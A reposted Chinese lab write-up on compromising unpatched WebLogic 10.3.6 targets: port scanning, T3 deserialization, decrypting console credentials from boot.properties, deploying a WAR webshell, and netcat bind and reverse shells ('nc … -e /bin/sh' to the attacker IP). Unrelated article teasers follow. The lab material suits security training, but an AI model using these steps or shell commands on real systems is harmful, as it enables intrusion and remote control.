Web滲透實驗：基于Weblogic的一系列漏洞

1.?攻擊機windows10 192.168.2.104

2.?靶機ip:

　　192.168.2.109(linux Ubantu)

　　192.168.2.111(windows2008R264位)

第一步：啟動靶機服務

image.png

image.png

分別為linux和windows

windows環境搭建：

　　鏈接：https://pan.baidu.com/s/16KyYb1v1rP9uJ6-5MBotVw
　　提取碼：9ti4

第二步：發現weblogic服務

當我們擁有客戶授權的情況下，一般采取nmap,masscan甚至是Python自己編寫的端口掃描工具，各有優缺。

網上開源很多，這里從網上拿來一款開源的掃描器（基于python2）。

代碼如下：

# -*- coding: utf-8 -*-import optparsefrom threading import *from socket import *screenLock=Semaphore(value=1)def connScan(tgtHost,tgtPort):try:connSkt = socket(AF_INET,SOCK_STREAM)connSkt.connect((tgtHost,tgtPort))connSkt.send('ViolentPython\r\n')results=connSkt.recv(100)screenLock.acquire()#打印前的加鎖操作。print ('[+.+] %d/tcp 開啟'% tgtPort+'   '+str(results)).decode('UTF-8').encode('GBK')# print ('[+.+] '+str(results))connSkt.close()except:screenLock.acquire()print ("[-.-] %s/tcp 關閉"%tgtPort).decode('UTF-8').encode('GBK')finally:screenLock.release()#終止阻塞其他線程前需要執行的代碼。connSkt.close()def portScan(tgtHost,tgtPorts):try:tgtIP=gethostbyname(tgtHost)except:print ("[-.-] 報告老大不能解析目標 '%s': 未知目標"%tgtHost).decode('UTF-8').encode('GBK')returntry:tgtName=gethostbyaddr(tgtIP)print ('\n[+.+] 已經獲得目標地址:'+tgtName[0]).decode('UTF-8').encode('GBK')except:print ('\n[+.+] 已經獲得目標地址:'+tgtIP).decode('UTF-8').encode('GBK')setdefaulttimeout(1)for tgtPort in tgtPorts:t=Thread(target=connScan,args=(tgtHost,int(tgtPort)))#多線程t.start()def main():print ("皮皮蝦正在探路請耐心等待...").decode('UTF-8').encode('GBK')parser=optparse.OptionParser('usage %prog -H' +'<target host> -p <target port>')parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')parser.add_option('-P',dest='tgtPort',type='string',help='specify target post')(options,args)=parser.parse_args()tgtHost = options.tgtHosttgtPorts = str(options.tgtPort).split(',')if (tgtHost==None)|(tgtPorts[0]==None):print ('[-.-] 老大你忘了輸入目標地址和端口啦.').decode('UTF-8').encode('GBK')exit(0)portScan(tgtHost,tgtPorts)if __name__ == '__main__':print ("歡迎使用本掃描器，我是皮皮蝦").decode('UTF-8').encode('GBK')main()

具體編寫指南可以參考原文鏈接，適合剛開始學習python的朋友們

https://bbs.ichunqiu.com/thread-40994-1-1.html

image.png

掃描結果為關閉，換個端口試試

image.png

為什么為造成這種情況呢，分析原因：

可能因為我們這個py版端口掃描是調用的socket模塊，給端口發送一些垃圾數據，如果服務端返回數據才代表我們這個端口開放，所以7001端口沒有給我們想要的數據，腳本就認為它沒有開放。

祭出我們強大的Nmap

image.png

發現我們服務器靶機確實是開放了7001端口的，^…^。

第三步：對weblogic服務滲透的思路

發現weblogic服務，第一反應是常見的能getshell的漏洞

比如后臺弱口令，密碼是base64編碼的，可以用burpsuite增加編碼參數，也可以用網上開源的一些工具進行爆破，然后war包部署拿shell。

再比如對weblogic的T3協議，反序列化命令執行，直接執行系統命令。

像目錄樣例操縱和拒絕服務這些雞肋的漏洞我們這暫且不談。這個靠的是滲透經驗，就像上次參加一個眾測，網站出現了action結尾的網址時，立馬直接struts2命令執行掃了一下直接getshell菜刀連上，高危漏洞吧，當然了，跟大佬們一起挖洞眾測，這么簡單的漏洞，比的就是速度了，后面有空會分享一些挖洞的經驗，這里暫且不提。

第四步：對weblogic服務的滲透

我們這里安裝的weblogic是10.3.6，沒有打補丁，也沒有禁用t3協議。我們可以使用工具進行反序列化利用。

image.png

（windows）

image.png

(linux)

然后執行一系列命令查看我們入侵靶機的環境

?

image.png

image.png

因為是靶機，直接給的administrator權限，也開放了3389端口，當然了，在實戰過程中，我一開始很少連接3389上去，不安全也不可靠。

常規套路，net user增加用戶，給權限等，注意如果不是公網的服務器，Web服務端口是映射出來的化，我們這邊還需要給我們自己這邊的攻擊機彈個shell,有很多工具，這里用瑞士軍刀演示。

image.png

因為是windows我們先上傳瑞士軍刀到服務器上，然后使用命令，轉發cmd到我們的攻擊機上。從weblogic反序列化得到的執行權限無法反彈，所以我們需要先上傳一個大馬來執行命令。因為是靶機并沒有部署web環境，我們再來看控制臺。?

控制臺密碼在目錄

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties

image.png

得到了加密的用戶密碼：

我們開始破解它

第五步：破解weblogic控制臺密碼

jdk安裝說明：

https://www.cnblogs.com/eagle6688/p/7873477.html

破解工具：

https://codeload.github.com/NetSPI/WebLogicPasswordDecryptor/zip/master

插件:

http://repo2.maven.org/maven2/org/bouncycastle/bcprov-ext-jdk16/1.46/bcprov-ext-jdk16-1.46.jar

將插件復制到目錄

C:\Program Files\Java\jdk1.8.0_201\jre\lib\ext（jdk環境）

破解 weblogic 控制臺密碼需要 2 個條件

SerializedSystemIni.dat 密鑰文件

(c:\Oracle\Middleware\user_projects\domains\base_domain\security\SerializedSystem?Ini.dat)

boot.properties 控制臺用戶名和密碼

(C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties)?

編譯下載的破解文件

Javac WebLogicPasswordDecryptor.java

image.png

破解

image.png

記住 破解的時候java和javac 版本一定要一樣，如果是后面新安裝的java和之前的java會沖突，需要到系統變量中修改一下，否則會出現下圖的報錯

image.png

破解成功之后的

賬號：weblogic

密碼：weblogic123

原來是弱口令，嘿嘿。所以大家下次注意，遇到這種控制臺，第一反應就是去手動嘗試一些弱口令。當然也可以使用暴力破解

可以使用python腳本:

https://github.com/b4zinga/Explib/blob/master/weblogic.py

有了賬號密碼，就是常規套路部署war包了。

/**/

制作war包大馬,把大馬以zip格式壓縮然后重命名為xxx.war即可

1、登錄控制臺(以Linux靶機為例)

訪問登陸控制臺

http://192.168.43.22:7001/console

選擇上傳文件

上傳我們制作的war包大馬

上傳的路徑

然后一直下一步

激活更改

選擇剛部署的項目啟動

隨后訪問http://192.168.43.22:7001/cmd/cmd.jsp即可打開大馬

image.png

（linux）

image.png

(windows)

第六步：彈shell

在windows下：

靶機執行：

nc.exe -l -p 8888 -t -e cmd.exe?

本機執行：

nc.exe -nvv 192.168.2.111 8888

image.png

在linux下：

靶機執行：

nc 192.168.2.104 8888 -e /bin/sh

本機執行：

nc.exe -lvnp 8888

image.png

我們看到-e參數報錯了這是因為

Ubuntu上默認安裝的是netcat-openbsd,而不是經典的netcat-traditional

sudo apt-get -y install netcat-traditional

然后sudo update-alternatives –config nc,選擇2

?

image.png

Linux靶機執行:nc -vlp 8888 -e /bin/bash

image.png

本機執行：nc.exe 192.168.2.109 8888

image.png

即可成功彈shell?

第七步：橫向滲透

用的比較多的是proxifier 正向代理，下一篇文件見。

*本文原創作者：zhukaiang7

轉載于:https://www.cnblogs.com/Fluorescence-tjy/p/10341525.html

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/387490.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/387490.shtml
英文地址，請注明出處：http://en.pswp.cn/news/387490.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

9 月 19 日，騰訊云安全中心監測到 ?Apache Tomcat 修復了2個嚴重級別的漏洞， 分別為： 信息泄露漏洞（CVE-2017-12616）、遠程代碼執行漏洞（CVE-2017-12615

9 月 19 日，騰訊云安全中心監測到 ?Apache Tomcat 修復了2個嚴重級別的漏洞， 分別為： 信息泄露漏洞（CVE-2017-12616）、遠程代碼執行漏洞（CVE-2017-12615

9 月 19 日&#xff0c;騰訊云安全中心監測到 Apache Tomcat 修復了2個嚴重級別的漏洞&#xff0c; 分別為&#xff1a; 信息泄露漏洞&#xff08;CVE-2017-12616&#xff09;、遠程代碼執行漏洞&#xff08;CVE-2017-12615&#xff09;&#xff0c;在某些場景下&#xff0c;攻…
閱讀更多...
2.0 STL泛型編程

2.0 STL泛型編程

Standard Template Library 在命名空間std中定義了常用的數據結構和算法 三種類型的組件&#xff1a; 容器&#xff1a; ——vector、string ——set、multiset、map、multimap ——list ——bitset ——stack ——deque、queue、priority_queue 迭代器 算法&…
閱讀更多...
SQL聯合更新

SQL聯合更新

update CCTDB..Area_Infoset ParentStrb.ParentStrfrom CCTDB..Area_Info a inner join TempArea bon a.AreaId b.AreaId轉載于:https://www.cnblogs.com/davidgu/archive/2012/08/10/2631289.html
閱讀更多...
集合之ArrayList（含JDK1.8源碼分析）

集合之ArrayList（含JDK1.8源碼分析）

一、ArrayList的數據結構 ArrayList底層的數據結構就是數組&#xff0c;數組元素類型為Object類型&#xff0c;即可以存放所有類型數據。我們對ArrayList類的實例的所有的操作(增刪改查等)&#xff0c;其底層都是基于數組的。 定義底層數據結構&#xff1a;Object[] elementDat…
閱讀更多...
2.2 string

2.2 string

字符數組的封裝 基本操作與vector很像&#xff0c;它們內部采用的都是數組結構 #include<string> 創建string對象&#xff1a; string s; 給string對象賦值&#xff1a; 方式一&#xff1a;s"i love coding"; 方式二&#xff1a; char a[256]; scanf(&qu…
閱讀更多...
Unity3D 自動打包整個項目（以AssetBundle實現）

Unity3D 自動打包整個項目（以AssetBundle實現）

需求&#xff1a; 在移動開發中&#xff0c;手動控制資源的加載、釋放和熱更新&#xff0c;是很有必要的。 而Unity通過AssetBundle可以實現該需求&#xff0c;但是如果項目資源多起來的話一個個手動打包成AssetBundle則很麻煩。 而本文正為此提供一套一鍵打包的方案。 資源分…
閱讀更多...
Android復制assets目錄下的圖片到內存

Android復制assets目錄下的圖片到內存

轉自&#xff1a;http://www.chenwg.com/android/android%E5%A4%8D%E5%88%B6assets%E7%9B%AE%E5%BD%95%E4%B8%8B%E7%9A%84%E5%9B%BE%E7%89%87%E5%88%B0%E5%86%85%E5%AD%98.html 有些Android應用需要一些初始化數據&#xff0c;但是考慮到國內這種龜速網絡和高昂的網絡流量費用&…
閱讀更多...
Python 2.7 cython cythonize py 編譯成 pyd 談談那些坑（轉載）

Python 2.7 cython cythonize py 編譯成 pyd 談談那些坑（轉載）

轉自&#xff1a;https://www.cnblogs.com/ibingshan/p/10334471.html Python 2.7 cython cythonize py 編譯成 pyd 談談那些坑 前言 基于 python27 的 pyc 很容易被反編譯&#xff0c;于是想到了pyd&#xff0c;加速運行&#xff0c;安全保護 必要準備 安裝cython&#xff1a;…
閱讀更多...
2.3 set

2.3 set

#include<set> 紅黑樹&#xff08;Red-Black Tree&#xff09;&#xff0c;一種平衡二叉檢索樹。 對于插入相同鍵值的情況忽略處理。 set主要用于快速檢索 高效的插入和刪除 multiset、map、multimap都是平衡二叉檢索樹。 創建set集合&#xff1a; set<int> s…
閱讀更多...
一、創建Assetbundle 在unity3d開發的游戲中，無論模型，音頻，還是圖片等，我們都做成Prefab，然后打包成Assetbundle，方便我們后面的使用，來達到資源的更新。

一、創建Assetbundle 在unity3d開發的游戲中，無論模型，音頻，還是圖片等，我們都做成Prefab，然后打包成Assetbundle，方便我們后面的使用，來達到資源的更新。

一、創建Assetbundle 在unity3d開發的游戲中&#xff0c;無論模型&#xff0c;音頻&#xff0c;還是圖片等&#xff0c;我們都做成Prefab&#xff0c;然后打包成Assetbundle&#xff0c;方便我們后面的使用&#xff0c;來達到資源的更新。 一個Assetbundle可以打包一個模型&…
閱讀更多...
【JS】我的JavaScript學習之路(2)

【JS】我的JavaScript學習之路(2)

3.從JavaScript頁面解析過程看執行順序 代碼(test.html)&#xff1a; <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns"http://www.w3.org/1999/x…
閱讀更多...
Codeforces 862D. Mahmoud and Ehab and the binary string 【二分】(交互)

Codeforces 862D. Mahmoud and Ehab and the binary string 【二分】(交互)

<題目鏈接> 題目大意&#xff1a; 有一個長度為n(n<1000)的01串&#xff0c;該串中至少有一個0和一個1&#xff0c;現在由你構造出一些01串&#xff0c;進行詢問&#xff0c;然后系統會給出你構造的串與原串的 Hamming distance &#xff0c;現在要求你按照步驟進行…
閱讀更多...
王者榮耀提取攻略

王者榮耀提取攻略

1. 王者榮耀安裝后&#xff0c;就將模型等資源解壓到SD卡目錄里&#xff0c;我們需要找到這個目錄。模型資源存儲在SD卡中&#xff0c;路徑為&#xff1a;【/SDCard/Android/data/com.tencent.tmgp.sgame/files/Resources/AssetBundle/】 2. 2 所有英雄的資源包都在這個目…
閱讀更多...
2.4 multiset

2.4 multiset

#include<set> multiset與set的唯一不同&#xff1a;允許插入重復的元素。 在插入元素、刪除元素、查找元素上與set 有區別。 multiset元素的插入&#xff1a; multiset<int> ms; ms.insert(11); ms.insert(11); //插入兩個11&#xff0c;遍歷時同樣有兩個11。…
閱讀更多...
Exchange ActiveSyn身份驗證類型

Exchange ActiveSyn身份驗證類型

http://www.exchangecn.com/html/exchange2010/20110125_316.html 配置 Exchange ActiveSync 身份驗證 時間:2011-01-25 11:01來源:Exchange中文站 作者:Exchange中文站 點擊:3045次ActiveSync 身份驗證是客戶端和服務器驗證其身份以進行數據傳輸的過程&#xff0c;本文以示例的…
閱讀更多...
HotSpot 虛擬機垃圾回收算法實現

HotSpot 虛擬機垃圾回收算法實現

作為使用范圍最廣的虛擬機之一HotSpot&#xff0c;必須對垃圾回收算法的執行效率有嚴格的考量&#xff0c;只有這樣才能保證虛擬機高效運行 枚舉根節點 從可達性分析中從 GC Roots 節點找引用鏈這個操作為例&#xff0c;可以作為 GC Roots 的節點主要在全局性的引用&#xff08…
閱讀更多...
Java NIO編寫Socket服務器的一個例子

Java NIO編寫Socket服務器的一個例子

最近一直在忙著JAVA NIO的知識&#xff0c;花了一下午的時間&#xff0c;總算寫出了一個可以運行的程序&#xff0c;廢話少說&#xff0c;上代碼&#xff01; Java代碼&#xff1a; import java.io.IOException; import java.net.InetSocketAddress; import java.net.ServerS…
閱讀更多...
2.5 map

2.5 map

#include<map> key/value對 采用紅黑樹實現&#xff0c;鍵值不允許重復 用法與set類似 創建map&#xff1a; map<string, float> m; m["haha"] 11.1; m["hehe"] 22.2; for (map<string, float>::iterator it m.begin(); it ! m.en…
閱讀更多...
在js傳遞參數中含加號(+)的處理方式

在js傳遞參數中含加號(+)的處理方式

一般情況下&#xff0c;url中的參數應使用 url 編碼規則&#xff0c;即把參數字符串中除了 “ - "、" _ " 、" . "之外的所有非字母數字字符都將被替換成百分號&#xff08;%&#xff09;后跟兩位十六進制數&#xff0c;空格則編碼為加號&#xff08;…
閱讀更多...
二 SVN代碼沖突的解決

二 SVN代碼沖突的解決

問題&#xff1a; A和B都是最新的代碼&#xff0c;A修改了代碼提交了&#xff0c;B也修改了代碼&#xff0c;但是B提交的時候出現沖突的問題。 解決方案&#xff1a;編輯沖突 解決沖突&#xff1a; 方法一&#xff1a;將文件里面沖突的描述去掉&#xff0c;重新提交 方法二&…
閱讀更多...
最新文章

Copyright @ 2022~2023